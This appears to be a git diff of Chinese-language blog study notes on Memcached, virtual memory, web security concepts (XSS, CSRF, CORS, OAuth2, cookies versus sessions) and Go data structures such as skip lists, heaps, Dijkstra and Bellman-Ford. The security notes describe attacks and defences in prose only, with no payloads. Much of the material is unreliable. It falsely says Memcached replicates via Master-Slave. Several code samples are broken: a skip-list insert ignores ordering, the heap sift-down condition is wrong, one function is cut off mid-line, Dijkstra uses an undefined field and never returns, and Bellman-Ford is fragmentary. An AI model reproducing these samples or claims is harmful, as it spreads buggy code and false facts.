支持在多台服务器上运行,形成集群,提供更大的内存和更高的性能。 + +#### 数据复制 + +Memcached 利用 Master-Slave 模式进行数据同步,确保数据可靠性。Master 负责写入数据,Slave 则进行备份,并在 Master 失效时接管工作。 + +#### 客户端自动重连机制 + +当某个节点出现故障或网络中断等问题时,客户端会自动寻找其他可用的节点,保证系统运行的稳定性。 + +> 看到内存管理,突然想到虚拟内存的内存管理,那就浅补充一下 +> 虚拟内存是操作系统提供的一种机制,它将计算机中的物理内存与磁盘上的一个交换文件联系起来,使得程序能够访问超出物理内存容量的地址空间,从而提高了系统的可用内存大小。虚拟内存的内存管理主要包括以下几个方面: +> 分页机制 +> 简单来说,分页机制就是将进程的逻辑地址空间划分成固定大小的页面,每一页都有唯一的页面号和物理地址,这些页面可以被映射到物理内存或者磁盘上的交换空间。当进程需要访问某一页时,虚拟内存管理器会负责将该页面载入物理内存中,并建立虚拟地址到物理地址的映射关系。通过分页的方式,虚拟内存管理器把进程的地址空间划分为若干个固定大小的块,这样就能够更好地利用物理内存,从而提高了系统的性能。 +> 页面置换算法 +> 由于虚拟内存中的数据可能会被交换到磁盘上,因此当物理内存不足时,就需要进行页面置换。常见的页面置换算法包括最近最少使用(LRU)、先进先出(FIFO)以及最少使用(LFU)等算法。这些算法的目标都是尽可能地选择那些最不常用的页面进行置换,从而保留那些常用的页面,提高系统的性能。 +> 写时复制技术 +> 在一些情况下,多个进程之间共享同一份代码或数据,此时就需要借助写时复制技术(Copy On Write,COW)实现内存管理。当进程需要修改某一份共享的内存数据时,虚拟内存管理器会将该内存数据复制到一个新的物理页上,并且只有在真正需要修改时才会进行页面复制操作。这种方式既避免了无谓的页面复制带来的开销,又能够保证数据的正确性。 +> 内存映射文件 +> 虚拟内存管理器还支持通过内存映射文件的方式来管理内存。通过将磁盘上的文件映射到虚拟地址空间中去,进程就可以像访问普通的内存一样访问文件中的数据,而不需要进行繁琐的文件读取和写入操作。同时,内存映射文件还可以通过读写权限的控制,实现对文件的安全访问 diff --git a/_posts/2023-4-26-test-markdown.md b/_posts/2023-4-26-test-markdown.md new file mode 100644 index 000000000000..6b1b0e3ae526 --- /dev/null +++ b/_posts/2023-4-26-test-markdown.md @@ -0,0 +1,160 @@ +--- +layout: post +title: 网络安全 +subtitle: +tags: [网络安全] +comments: true +--- + +### XSS + +> 给用户的网页中植入恶意脚本 + +跨站脚本攻击(Cross Site Scripting,简称 XSS),攻击者通过在网页中注入恶意脚本,从而使用户在浏览该网页时执行这些脚本代码。一旦用户执行了这些恶意脚本,就可能导致其个人信息被窃取或者账户被盗用等安全问题 + +#### 原理 + +Web 应用程序信任用户的输入。 + +导致攻击者可以注入 HTML、JavaScript、Flash 以及其他类型的代码到受害者的浏览器中,从而控制网页的行为和内容。 + +#### 攻击方式 + +存储型 XSS + +存储型 XSS 是最常见的一种 XSS 攻击,攻击者**将恶意脚本上传到网站的数据库**中,一旦用户访问这个页面,就会执行这些恶意脚本引起攻击。比如在留言板、评论区等地方提交带有恶意脚本的信息 + +反射型 XSS + +反射型 XSS 攻击将**恶意脚本注入到 URL 地址**中,通过诱导用户点击恶意链接来触发攻击,一旦用户访问这个 URL,就会接收到服务器响应的恶意代码,从而引起攻击。比如将恶意链接通过社交网络、邮件等途径传播给用户。 + +DOM 型 XSS + +DOM(文档对象模型)型 XSS 攻击是指对客户端的脚本代码进行注入攻击,不需要向服务端提交数据。攻击者利用漏洞注入恶意代码到页面中,当**页面加载时就会执行这些代码\***,从而控制网页的行为和内容。比如在 URL 参数、cookie 等位置提供带有恶意代码的数据。 + +#### 防御方式 + +输入过滤 + +输入过滤:对用户输入的数据进行过滤,**去掉其中的特殊字符或者 HTML**标签等。可以使用一些现成的工具,比如 HTMLPurifier 来过滤用户输入的数据。 + +输出转义: + +HTML 实体是将 HTML 上下文中的字符转换成等价的字符串表示。在输出页面之前,我们需要将所有敏感字符都转换成 HTML 实体,例如: + +```text +< 转换成 < +转换成 > + +“ 转换成 " +& 转换成 & +``` + +HttpOnly Cookie + +设置 HttpOnly 属性的 Cookie,可以防止 JavaScript 获取该 Cookie,从而避免被盗用。 + +CSP 策略 + +Content Security Policy 策略可以将页面中的资源来源限制在白名单之内,防止恶意脚本加载。 + +验证码 + +使用验证码验证用户操作,避免由于用户操作不当导致的 XSS 攻击。 + +### CSRF + +CSRF(Cross-site request forgery),中文名“跨站请求伪造”,是一种常见的 Web 攻击方式之一。攻击者通过某些方式诱导用户点击某个链接或进入某个页面,绕过了用户身份验证机制,把本来针对受害者的恶意请求发送给了受害者已经登录的其他网站,从而实现攻击的目的。 + +#### 原理 + +具体来说,攻击者会在第三方网站上嵌入一个类似于图片或链接的东西,当用户访问到这个页面并且已经登录了正常网站时,就会携带上正常网站的一些 Cookie 信息和参数,攻击者接着就可以利用这些信息来构造针对正常网站的恶意请求。 + +#### 防御方式 + +验证来源请求: + +可以通过验证每个请求的来源是否合法来避免 CSRF 攻击。通常情况下,我们只信任同域名下的请求,也就是检查 HTTP 请求头中的 Referer 字段是否为当前页面的地址 + +使用 CSRF Token + +生成一个随机 token 并将其存储在用户的 session 中,并在每次提交表单时将这个 token 作为参数提交到服务器端进行验证。由于攻击者无法获取用户 session 中的 token,因此即便他们构造了恶意请求,也无法通过服务器端的 token 验证机制。 + +避免使用 GET 请求 + +由于 CSRF 攻击通常利用浏览器自动发送的 GET 请求来实现,因此在请求数据修改时应使用 POST、PUT 或 DELETE 等形式提交,从而避免被攻击者盗用。此外,还应该避免在 URL 中携带敏感信息 + +双重 Cookie 验证 + +一种较为极端的防御方式是,在服务端生成两个 Cookie,一个用于存储 session ID,另一个用于存储一个随机值(CSRF Token)。每次用户提交表单时,都必须同时验证这两个 cookie 是否匹配才能通过验证。这种方法可以有效地防御 CSRF 攻击,但是比较繁琐,而且会增加服务器的负担。 + +### 浏览器的同源策略/CORS + +浏览器的同源策略是指,JavaScript 只能读取和操作与本页面同源的文档或者资源。同源指的是两个 URL 的协议、主机名和端口号都相同,即使这两个 URL 的路径不同也会被视为不同源。 + +同源策略是为了保证用户信息的安全,避免恶意网站通过脚本窃取用户信息或者发起 CSRF 攻击等。 + +CORS(Cross-Origin Resource Sharing)跨域资源共享,用于打破浏览器的同源限制。它允许一个网站从另一个网站获取指定的数据,即跨域资源访问。对于需要跨域访问的场景,可以在服务端设置 Access-Control-Allow-Origin 响应头来授权其他域名的请求。 + +CORS 跨域资源共享分为简单请求和预检请求两种形式。当请求满足特定的条件时(比如 HTTP 方法为 GET、HEAD 或 POST,并且 Content-Type 为 text/plain、multipart/form-data 或 application/x-www-form-urlencoded),浏览器会将请求发送到服务器,如果服务器允许跨域请求,会返回一个 Access-Control-Allow-Origin 的响应头,从而使得前端可以访问该资源。 + +对于满足条件的请求以外的,浏览器会像服务端发送一个 OPTIONS 请求(即“预检”请求),询问是否允许当前请求。只有在服务端返回特定的响应头(Access-Control-Allow-Methods、Access-Control-Allow-Headers)之后,才会允许这个请求。 + +需要注意的是,CORS 只适用于浏览器环境下的 JavaScript 调用场景,不适用于其他场合,比如 Node.js 环境下的 HTTP 请求、WebSocket 等。在这些场景下,需要使用其他的方式来解决跨域问题。 + +在 Go 语言中,跨域(CORS)问题通常是在服务端解决的。主要有两种方法可以使用: + +1.在服务器端设置响应头 + +通过在服务器端设置响应头,来授权其他域名的请求。Golang 的 net/http 包提供了一个 Header 类型,可以用于设置 HTTP 响应头信息。我们可以通过设置 Access-Control-Allow-Origin 和 Access-Control-Allow-Headers 头,来实现跨域访问。 + +```go +func handler(w http.ResponseWriter, r *http.Request) { + w.Header().Set("Access-Control-Allow-Origin", "*") + w.Header().Set("Access-Control-Allow-Headers", "Content-Type,access_token") + // 处理业务逻辑 +} + +``` + +Access-Control-Allow-Origin 用于指定允许的访问来源。通常情况下可以使用通配符 `*` 表示允许所有来源访问。 + +Access-Control-Allow-Headers 用于指定跨域请求支持的请求头类型,如果不指定则只支持默认的 6 种简单请求类型。 + +### OAuth2.0 原理 + +> 将用户数据的访问权限和第三方应用程序和用户的登陆密码分开 + +资源拥有着:颁发授权码 + +授权服务器:验证授权码——颁发令牌 + +第一步:客户端向资源拥有者请求授权。 + +第二步:资源拥有者授权给客户端,并获得到授权码(Authorization Code),同时重定向到客户端指定的 redirect_uri。 + +第三步:客户端携带授权码向授权服务器请求令牌(Access Token)。 + +第四步:授权服务器验证授权码的合法性,如果合法则颁发令牌至客户端。 + +第五步:客户端使用令牌向资源服务器请求用户资源。 + +第六步:资源服务器验证令牌的合法性,如果合法则向客户端返回用户资源。 + +### Session Cookie 区别 + +存储位置不同: + +Cookie 存储于浏览器中,而 Session 存储于服务器端。服务器通过向客户端发送 Set-Cookie 头信息告诉浏览器要在本地存储此 Cookie,因此浏览器会把 Cookie 保存在本地。相反,Session 的信息是存储在服务器的内存或硬盘上的,当用户关闭应用程序时,服务器上的数据将被删除。 + +存储内容不同: + +Cookie 只能存储字符串类型的数据,而 Session 可以存储任何类型的对象,包括数字,字符串等各种类型的数据。 + +安全性不同: + +Cookie 可以设置一个过期时间来指定其生命周期,这样浏览器将在达到该时间后自动删除该 Cookie。而 Session 可以在服务器端设置超时时间,也可以在用户关闭浏览器时自动失效。 + +生命周期不同: + +综上所述,Cookie 更适合保存短期数据和客户端状态,例如保存用户的偏好设置和登录凭据;而 Session 更适合保存长期的数据和服务器状态,例如购物车、用户身份验证和用户的历史记录等。 diff --git a/_posts/2023-4-27-test-markdown.md b/_posts/2023-4-27-test-markdown.md new file mode 100644 index 000000000000..c044c8036752 --- /dev/null +++ b/_posts/2023-4-27-test-markdown.md @@ -0,0 +1,7 @@ +--- +layout: post +title: 系统设计 +subtitle: +tags: [系统设计] +comments: true +--- diff --git a/_posts/2023-4-29-test-markdown.md b/_posts/2023-4-29-test-markdown.md new file mode 100644 index 000000000000..df8930111001 --- /dev/null +++ b/_posts/2023-4-29-test-markdown.md @@ -0,0 +1,1047 @@ +--- +layout: post +title: Part1-数据结构和算法 +subtitle: +tags: [数据结构] +comments: true +--- + +## 堆专题 + +>这里的堆均指的是最小顶堆 + +堆解决了什么问题? + +一个系统负责给来的每个人发放一个排队码,根据先来后到的原色进行叫号 +除此之外还需要对进入的每个元素,这些元素并不是同一个等级,元素的权重占比不同。有的是VIP有的是普通。 + + + + +#### 双向链表 +- 双向链表:保存前一个节点的指针和后一个节点的指针,从前往后遍历,可以快速寻找到插入位置。 + +#### 跳表 + +![图片的说明文字]("https://pic4.zhimg.com/v2-e5efbba6181b40a8468cebc7f99e69d3_r.jpg") + + +现在如果我们想查找一个数据,比如说 15,我们首先在索引层遍历,当我们遍历到索引层中值为 14 的结点时,我们发现下一个结点的值为 17,所以我们要找的 15 肯定在这两个结点之间。这时我们就通过 14 结点的 down 指针,回到原始链表,然后继续遍历,这个时候我们只需要再遍历两个结点,就能找到我们想要的数据。好我们从头看一下,整个过程我们一共遍历了 7 个结点就找到我们想要的值,如果没有建立索引层,而是用原始链表的话,我们需要遍历 10 个结点。 + +现在我们再来查找 15,我们从第二级索引开始,最后找到 15,一共遍历了 6 个结点,果然效率更高。 + +为链表建立一个“索引”,这样查找起来就会更快,如下图所示,我们在原始链表的基础上,每两个结点提取一个结点建立索引,我们把抽取出来的结点叫做索引层或者索引,down 表示指向原始链表结点的指针。 +![]("https://pic2.zhimg.com/80/v2-8ff6ab429a349194ecab25e24ecee705_1440w.webp") + +因为我们是每两个结点提取一个结点建立索引,最高一级索引只有两个结点,然后下一层索引比上一层索引两个结点之间增加了一个结点,也就是上一层索引两结点的中值,就像二分查找,每次我们只需要判断要找的值在不在当前结点和下一个结点之间即可。 + +> 这几级索引的结点总和就是 n/2+n/4+n/8…+8+4+2=n-2,所以跳表的空间复杂度为 o(n)。 + +> 跳表的--查询任意数据的时间复杂度为 O(log(n)) + +> 跳表的--插入任意数据的时间复杂度为 O(log(n)) 为了防止两个索引节点之间节点过多,还需要维持索引和原始链表之间的平衡,通过随机函数,在向跳表插入数据的时候,决定要把数据插入哪一个级索引。 + +> 跳表的--删除任意数据的时间复杂度为 O(log(n)) + + +> 抽取链表的节点,抽取出的节点又是链表。并且每个节点都指向被抽取出的原链表的指针 + +删除操作的话,如果这个结点在索引中也有出现,我们除了要删除原始链表中的结点,还要删除索引中的。因为单链表中的删除操作需要拿到要删除结点的前驱结点,然后通过指针操作完成删除。所以在查找要删除的结点的时候,一定要获取前驱结点。当然,如果我们用的是双向链表,就不需要考虑这个问题了。 + +现在如果我们想查找一个数据,比如说 15,我们首先在索引层遍历,当我们遍历到索引层中值为 14 的结点时,我们发现下一个结点的值为 17,所以我们要找的 15 肯定在这两个结点之间。这时我们就通过 14 结点的 down 指针,回到原始链表,然后继续遍历,这个时候我们只需要再遍历两个结点,就能找到我们想要的数据。好我们从头看一下,整个过程我们一共遍历了 7 个结点就找到我们想要的值,如果没有建立索引层,而是用原始链表的话,我们需要遍历 10 个结点。 + +- 跳表:是基于链表的数据结构,在每个节点中保存多个指针,指向序列的其他节点,通过额外的指针进行快速的查找,时间复杂度是O (log n) + + +```go +type skipList struct{ + val *node + next *skipList +} +type node struct{ + val int + next *node +} +``` + +```go +package main + +import ( + "fmt" + "math" + "math/rand" +) + +const maxLevel = 3 + +type node struct { + value int + next []*node +} + +type skipList struct { + head *node + level int +} + +func newNode(value, level int) *node { + return &node{value: value, next: make([]*node, level)} +} + +func newSkipList() *skipList { + return &skipList{head: newNode(0, maxLevel), level: 1} +} + +func (list *skipList) randomLevel() int { + level := 1 + for rand.Float64() < 0.5 && level < maxLevel { + level++ + } + return level +} + +func (list *skipList) insert(value int) { + // determine the level of the new node + level := list.randomLevel() + + // create a new node with the given value and level + newNode := newNode(value, level) + + // update the pointers in the lower levels to reflect the new node + for i := 0; i < level; i++ { + newNode.next[i] = list.head.next[i] + list.head.next[i] = newNode + } + + // update the highest level if necessary + if level > list.level { + list.level = level + } +} + +func (list *skipList) delete(value int) bool { + // keep track of the last node visited at each level + prev := make([]*node, list.level) + curr := list.head + + // traverse the list and find the node with the given value + for i := list.level - 1; i >= 0; i-- { + for curr.next[i] != nil && curr.next[i].value < value { + curr = curr.next[i] + } + prev[i] = curr + } + + if curr.next[0] == nil || curr.next[0].value != value { + return false + } + + // update the pointers to remove the node with the given value + deleted := curr.next[0] + for i := 0; i < list.level; i++ { + if prev[i].next[i] == deleted { + prev[i].next[i] = deleted.next[i] + } else { + break + } + } + + // update the highest level if necessary + for list.level > 1 && list.head.next[list.level-1] == nil { + list.level-- + } + + return true +} + +func (list *skipList) find(value int) bool { + // traverse the list and find the node with the given value + curr := list.head + for i := list.level - 1; i >= 0; i-- { + for curr.next[i] != nil && curr.next[i].value < value { + curr = curr.next[i] + } + } + + return curr.next[0] != nil && curr.next[0].value == value +} + +func main() { + list := newSkipList() + list.insert(4) + list.insert(2) + list.insert(6) + list.insert(8) + list.insert(5) + + fmt.Println(list.find(6)) // true + fmt.Println(list.find(3)) // false + + list.delete(6) + fmt.Println(list.find(6)) // false +} + +``` + +#### 哈希表 + +根据关键码而直接进行访问,通过把关键码映射到一个位置来访问数据。映射函数叫做散列函数,存放记录的数组叫做散列表。 + +> hashMap的本质是一个`map[int]node` node里面存储了要存储的数据,还存储了一个指向下一个的node的指针。 + + + +```go +package main + +import ( + "fmt" +) + +type Student struct { + ID int + Name string +} + +type node struct { + data *Student + next *node +} + +type HashTable struct { + buckets []*node +} + +func NewHashTable(size int) *HashTable { + return &HashTable{buckets: make([]*node, size)} +} + +func (ht *HashTable) hash(key int) int { + return key % len(ht.buckets) +} + +func (ht *HashTable) Put(s *Student) { + index := ht.hash(s.ID) + if ht.buckets[index] == nil { + ht.buckets[index] = &node{data: s} + } else { + n := ht.buckets[index] + for n.next != nil { + n = n.next + } + n.next = &node{data: s} + } +} + +func (ht *HashTable) Get(id int) (*Student, bool) { + index := ht.hash(id) + n := ht.buckets[index] + for n != nil { + if n.data.ID == id { + return n.data, true + } + n = n.next + } + return nil, false +} + +func main() { + ht := NewHashTable(100) + + s1 := &Student{ID: 123, Name: "Alice"} + s2 := &Student{ID: 456, Name: "Bob"} + + ht.Put(s1) + ht.Put(s2) + + s, ok := ht.Get(123) + if ok { + fmt.Println("Found:", s.Name) + } else { + fmt.Println("Not found") + } +} + +``` + +#### 场景1: + +设计三个队列 + +普通队列 +VIP队列 +至尊VIP队列 + +一个概念:虚拟时间 + +普通队列中:元素的进入队列的时间是真实的时间。 +VIP队列中:元素的进入队列的时间是真实的时间-2小时。 +至尊VIP队列:元素的进入队列的时间是真实的时间-2小时。 +然后按照虚拟时间进行先到先服务。 + +那么在使用的时候,继续使用前面的三个队列,只不过队列存储的不是真实的时间,而是虚拟时间,每次叫号的时候,虚拟时间比较小的先服务。 + + +这里的虚拟时间就是优先队列的优先权重。虚拟时间越小,优先权重越大。 + +如果过号,则需要重新排队,如果是VIP,那么在重新排队的过程中间,可能出现插队的情况,那么这种情况需要插入到合适的位置。 + +本质上我门在维护一个有序列表,使用数组的好处是可以随机访问,如果用链表实现,那么时间复杂度理论是上O1但是插入位置需要 遍历查找。更好的方法是`优先队列` + +**链表查找的问题在于需要遍历寻找插入位置,这样的时间复杂度为O(n),效率较低。要优化这个过程,可以采用以下几种方式:** + +#### 场景2: + +一个队列,所有的元素使用一个队列。 + +#### 解决什么问题 + +```go +func (h heap) push(){ + +} + +func (h heap) pop(){ + +} +``` + +push 插入一个元素,并且是插入到合适的位置。 + +pop 弹出一个元素,并且是弹出最小的 + +> 使用链表或者数组都是可以实现的,但是维护一个有序的数组去级值简单,但是插队麻烦。 + +> 维护一个有序的链表取级值简单,但是查找合适的位置插入的时候,不是线性扫描就是借助索引,实现的话就需要优先级队列的跳表实现 + +> 永远维护一个树取极值也可以实现。可以通过O1取出极值,但是调整的时候需要`logn` + +> 堆就是动态帮我取级值的 + + +### 堆的核心-动态求极值 + +堆的中心就是求极值, +就是不断的维护最小的数,找到第一个,移除再找第二个,经过k轮就得到了第k小的超级丑数, + + +#### 堆的两种实现-跳表 + + +跳表的本质:对有序链表的改造,为单层链表增加多级索引,解决了单链表中查询速度的问题,可以实现快速的的范围查询。 + +平衡树为了解决在极端情况下退化为单链表的问题,每次插入或者删除节点都会维持树的平衡性。比如:删除根节点的右孩子节点,只保留左孩子节点,那么就变成了一个单链表。 + +如果跳表在插入新的节点后索引不再更新,那么也可能发生退化,比如在两个节点之间插入很多很多的数据,那么这个时候是查询的时间复杂度将会退化到接近O(n),跳表就是维持索引并且保证不会退化。 + +维护索引的机制:每两个一级索引中有一个被建立了二级索引,n个节点中有n/2个索引,可以理解为:在同一级中,每个节点晋升到上一级索引的概率为1/2。 + +如果不严格按照“每两个节点中有一个晋升”,而是“每个节点有1/2的概率晋升”,当节点数量少时,可能会有部分索引聚集,但当节点数量足够大时,建立的索引也就足够分散,就越接近“严格的每两个节点中有一个晋升”的效果。 + + + +> 跳表每个节点的层数是随机的,新插入一个节点 不会影响其他节点的层数,插入操作仅仅需要修改插入节点前后的指针。 + +```go + +import ( + "fmt" + "math/rand" +) + +type SkipListNode struct { + val int // 当前节点的值 + next []*SkipListNode // 下一个节点的指针数组 +} + +func NewSkipListNode(val int, level int) *SkipListNode { + return &SkipListNode{ + val: val, + next: make([]*SkipListNode, level), + } +} + +const kMaxLevel = 16 // 设定最大层数为16 + +type Skiplist struct { + head *SkipListNode // 头结点 + level int // 最大层数 + p float64 // 索引间隔概率 +} + +func Constructor() Skiplist { + return Skiplist{ + head: NewSkipListNode(0, kMaxLevel), + level: 1, + p: 0.5, + } +} + +func (this *Skiplist) randomLevel() int { + level := 1 + for rand.Float64() < this.p && level < kMaxLevel { + level++ + } + return level +} + +func (this *Skiplist) Add(num int) { + level := this.randomLevel() // 随机生成节点层数 + + node := NewSkipListNode(num, level) // 创建新节点 + cur := this.head // 从头结点开始遍历 + + update := make([]*SkipListNode, level) // 更新数组 + for i := level - 1; i >= 0; i-- { // 从上往下遍历 + for cur.next[i] != nil && cur.next[i].val < num { // 找到插入位置 + cur = cur.next[i] + } + update[i] = cur // 记录每一层最近的比插入节点大的节点 + } + + // 将新节点插入到对应的位置 + for i := 0; i < level; i++ { + // 刚好小于等于的前驱节点update[i] + node.next[i] = update[i].next[i] + update[i].next[i] = node + } + + if level > this.level { // 如果新增节点的层数大于当前跳表的层数,则需要更新跳表的level + this.level = level + } +} + +func (this *Skiplist) Search(target int) bool { + cur := this.head // 从头结点开始遍历 + for i := this.level - 1; i >= 0; i-- { // 从上往下遍历 + for cur.next[i] != nil && cur.next[i].val < target { + cur = cur.next[i] + } + } + + cur = cur.next[0] + return cur != nil && cur.val == target +} + +func (this *Skiplist) Erase(num int) bool { + cur := this.head // 从头结点开始遍历 + + update := make([]*SkipListNode, this.level) // 更新数组 + for i := this.level - 1; i >= 0; i-- { // 从上往下遍历 + for cur.next[i] != nil && cur.next[i].val < num { // 找到要删除的节点 + cur = cur.next[i] + } + update[i] = cur // 记录每一层最近的比要删除节点大的节点 + } + + cur = cur.next[0] + if cur == nil || cur.val != num { // 要删除的节点不存在 + return false + } + + // 将要删除的节点从每一层中删除 + for i := 0; i < this.level; i++ { + if update[i].next[i] != cur { + break + } + update[i].next[i] = cur.next[i] + } + + // 如果删除的是最高层的节点,则需要更新跳表的level + for this.level > 1 && this.head.next[this.level-1] == nil { + this.level-- + } + + return true +} + + + + +/** + * Your Skiplist object will be instantiated and called as such: + * obj := Constructor(); + * param_1 := obj.Search(target); + * obj.Add(num); + * param_3 := obj.Erase(num); + */ + + + +``` +#### 堆的两种实现-二叉堆 + +二叉堆就是特殊的完全二叉树。特殊性在与父节点不大于儿子的权值 + +出堆: +如果是根节点出堆,仅仅删除根节点,那么一个堆就会变成两个堆。常见的操作是:把根节点和最后一个节点进行交换,然后将根部节点下沉到正确的地方。删除最后一个节点。在下沉的过程中间应该是下沉到更小的子节点 + +入堆: +往树的最后一个位置插入节点,然后上浮,上浮的过程就是不满足堆的性质就个父节点进行交换。上浮更加的简单就是只需要和父节点交换。 + +实现: +如果用数组实现,那么从索引1开始存储数据。 +```go + +func Up(x int){ + for x>1 && array[x] < array[x/2]{ + array[x],array[x/2] = array[x/2],array[x] + x = x/2 + } +} + +func Down(x int){ + + for x < len(array) || x > array[2*x] || x > array[2*x+1]{ + m:= min(2*x,2*x+1) + array[x],array[m] = array[m],array[x] + x = m + } +} + +func min( a int ,b int){ + if array[a] 堆元素使用结构体,可以携带额外的信息. +```go +type elem struct{ + val int + row int + col int +} +``` + + +#### 多路归并 + + +#### 固定堆 + +> 堆大小不变,代码上通过每POP出去一个就PUSH进来一个,刚开始初始化堆大小为 K +> 典型应用:求第K小的数,建立小顶堆,逐个出堆,一共出堆K次,最后一次出堆就是第K小的数。 +> 也可以是建立大顶堆,不断的出堆,直到堆的大小为K,那么此时堆顶部的元素就是所有数字中最小的K个 + +这类问题的特点是: + +给定N个对象,每个对象有不同的“质量”和“价格”。 + +需要选择K个对象组成一个“集合”,同时满足一个或多个约束条件。 + +在所有可能的“集合”中,需要选择满足约束条件的那个作为答案。 + +为了得到最优解,可能需要排序、遍历、优先队列等操作。 + +##### 选择优化问题 + +给定约束条件下选择最佳方案的问题。它包括了很多实际的问题,如旅行商问题、背包问题、任务分配问题等。这类问题的共同点是需要从一组对象中选择一些对象,使得这些对象满足某些限制条件并且符合某个最优性准则。 + +贪心算法:通过找出每一步中看起来最佳的选择,希望最终能够得到全局最优解。贪心算法适用于问题具有最优子结构的情况,即问题的最优解可以由子问题的最优解推导得到。在一些复杂度较高的问题中,贪心算法可能不能得出全局最优解。 + + +动态规划:通过将原问题分解为若干个相互重叠的子问题,并将子问题的解记录在一个表格中,不断地填充这个表格,直到填满整个表格时得到原问题的最优解。动态规划算法适用于问题存在重叠子问题和最优子结构的情况,并且可以避免重复计算。但是对于某些复杂问题,动态规划算法的时间和空间复杂度可能会非常高。 + +#### 事后小诸葛 + +事后诸葛的本质是:基于当前信息无法获得最优解,必须的得到全部的信息后回溯,因此需要遍历所有的元素,把所有的元素放入堆,当无法到达下一站的时,就从数组中间取最大的值。 + +### 四大应用 + +#### topK + +- 直接排序:将数组排序后取前 k 个元素。时间复杂度 O(NlogN),空间复杂度 O(1)。适用于数据范围较小的情况。 +- 最大堆/最小堆:利用堆结构维护 TopK,每次取出当前堆中最大/最小的元素,然后加入新元素并重新调整堆。时间复杂度 O(NlogK),空间复杂度 O(K)。 +- 快速选择算法:借鉴快速排序的思想,通过一次 partition 操作将数组分成左右两部分,如果 pivot 的索引恰好是 k-1,则返回前 k 个数即可;否则根据 pivot 的位置继续递归搜索左或右部分。期望时间复杂度 O(N),最坏时间复杂度 O(N^2),空间复杂度 O(1)。 +- 计数排序:针对数据范围较小且存在重复元素的情况,可以使用计数排序统计每个元素出现的次数,然后按照从大到小或从小到大的顺序依次输出前 k 个元素。时间复杂度 O(N+K),空间复杂度 O(N)。 +- 哈希表 + 快排:利用哈希表统计每个元素出现的次数,然后将哈希表中所有键值对转成元组并按照出现次数从大到小排序,最后输出前 k 个元素即可。时间复杂度 O(NlogN),空间复杂度 O(N)。 + +> 在快速排序的 partition 操作中,我们通常会选择数组最后一个元素作为 pivot。但这样会存在最坏情况:当数组已经有序时,每次选择的 pivot 都是最后一个元素,导致 partition 只能将数组分成一个元素和其他元素两部分,时间复杂度变成 O(n^2)。 +> 为了避免最坏情况发生,我们可以随机选择 pivot,这样每次 partition 的表现都比较稳定。具体来说,我们选取一个随机数 pivotIndex,将 `nums[pivotIndex]` 与 `nums[right] `位置上的元素进行交换,然后再按照正常的 partition 流程处理 pivot 即可。因为我们要找的是第 k 大的元素或者第K小的元素,所以在 partition 中需要将大于/小于 pivot 的元素放到左半部分,从而让 pivot 的索引能够对应到排序后数组中的第 k 个元素。 + + +#### 带权最短距离 + +Dijkstra 算法 +Dijkstra 算法是一种贪心算法,用于解决带非负权值的最短路径问题。它基于贪心策略,每次**选择离起点(终点:起点!!!)最近的一个节点作为下一个扩展的节点**,并以此更新其他节点到起点的距离。在实现时,可以使用**优先队列(特殊的堆)**来优化时间复杂度。 + +> 743 Network Delay Time +> 787 Cheapest Flights Within K Stops +> 1631 Path With Minimum Effort + +> 每次都遍历所有的邻居节点,从中找到距离起点最小的,如果借助堆这种数据结构,那么就可以在`logN`的时间内找到COST最小的点,其中N为堆的大小。 + + +```go +type Item struct{ + // 节点编号 + value int + priority int +} + +type PriorityQueue []*Item + +func (pq PriorityQueue) Len() int { + return len(pq) +} + +func (pq PriorityQueue) Less(i, j int) bool { + return pq[i].priority < pq[j].priority +} + +func (pq PriorityQueue) Swap(i, j int) { + pq[i], pq[j] = pq[j], pq[i] +} + +func (pq *PriorityQueue) Push(x interface{}) { + item := x.(*Item) + *pq = append(*pq, item) +} + +func (pq *PriorityQueue) Pop() interface{} { + old := *pq + n := len(old) + item := old[n-1] + *pq = old[0 : n-1] + return item +} + +func dijkstra(graph map[int] map[int]int , start int) map[int]int{ + minDis:= map[int]int{} + for k,v := range graph{ + // 节点k + // 把起点到每个节点的距离设置为-1 + minDis[k]=1<<31 + } + minDis[start]=0 + // 起点入队列 + pq := PriorityQueue{} + heap.Push(&pq, &Item{start, 0}) + for len(pq)>0{ + cur:= heap.Pop(&pq).(*Item) + if cur.priority != minDis[cur.id]{ + continue + } + for n,priority := range graph[cur.value]{ + // 计算弹出节点到每个节点的距离 + newPriority := cur.priority + priority + if newPriority < minDis[n]{ + minDis[n]=newPriority + heap.Push(&pq, &Item{n, newPriority}) + } + + } + + } +} + +``` + +start 表示起始点的编号,graph 是一个嵌套字典,表示有向图中每个节点所连接的邻居节点及对应的边权重。` graph[1] = map[int]int{2: 1, 3: 4}` 1到邻居节点2的权重是1,到3的权重是4。返回的是`map[int]int` 代表起点到每个点的最短距离。算法核心部分使用了堆优化的思路: + +- 初始化起点到每个节点的距离最大 +- 设置起点到起点的距离为0 +- 起点入堆 +- 循环弹出节点,判断弹出节点K到起点的距离,判断`K.dis`与全局的`MinDis[k,id]`的距离大小,把更小的值放入`MinDis[k,id]`。然后把弹出的节点K的邻居节点入队列 +- 更新要入队的邻居节点到起点的距离=弹出节点K.dis+弹出节点到邻居节点的权重,入队。在弹出的时候,对于和全局记录的最小优先值不同的直接跳过。 + +Bellman-Ford 算法 +Bellman-Ford 算法是一种用于求解带权有向图的最短路径的动态规划算法。该算法对边进行松弛操作,即不断更新从起点到某个节点的最短路径。和 Dijkstra 不同,Bellman-Ford 可以处理带有负权值的边,但是时间复杂度较高,为 O(VE)。 + +> 1168 Optimize Water Distribution in a Village +> 743 Network Delay Time +> 1579 Remove Max Number of Edges to Keep Graph Fully Traversable + +BFS算法 +BFS算法在带权最短路径中的使用的一种最短路径问题的变种,这个时候队列中间加入的是状态。BFS可以实现记录一个状态到另外一个状态的转变 +```go + +``` +```go + +// 把图转化为(起点,终点,权重) +// n 是节点数 +// start是起点 +// 返回一个起点代表起点到每个点的最短距离 +type Edge struct{ + from int + to int + weight int +} + +func bellmanFord(edge []Edge,n int,start int)[]int{ + const inf = math.MaxInt32 + minDis := make([]int,n) + for k,v := range minDis{ + minDis[i]=inf + } + minDis[start] = 0 + // 遍历 + // 寻找每个节点到起点位置的最小距离 + for i:=0;i dist[e.from]+e.weight 的情况下,将 dist[e.to] 赋值为负无穷,标记该节点已经松弛过,并且松弛次数超过了所有节点数量。在此之后,如果某个节点的 dist[] 值变成了负无穷,则说明图中存在从起点可达的负权环,算法会立即停止并返回错误信息。 + if minDis[e.from] + e.weight < minDis[e.to]{ + minDis[e.to] = -inf + } + } + } + +} +``` + +Floyd-Warshall 算法 +Floyd-Warshall 算法是一种用于求解所有节点对之间最短路径的动态规划算法。该算法维护一个 n * n 的矩阵,表示任意两个节点之间的最短路径。Floyd-Warshall 算法的时间复杂度为 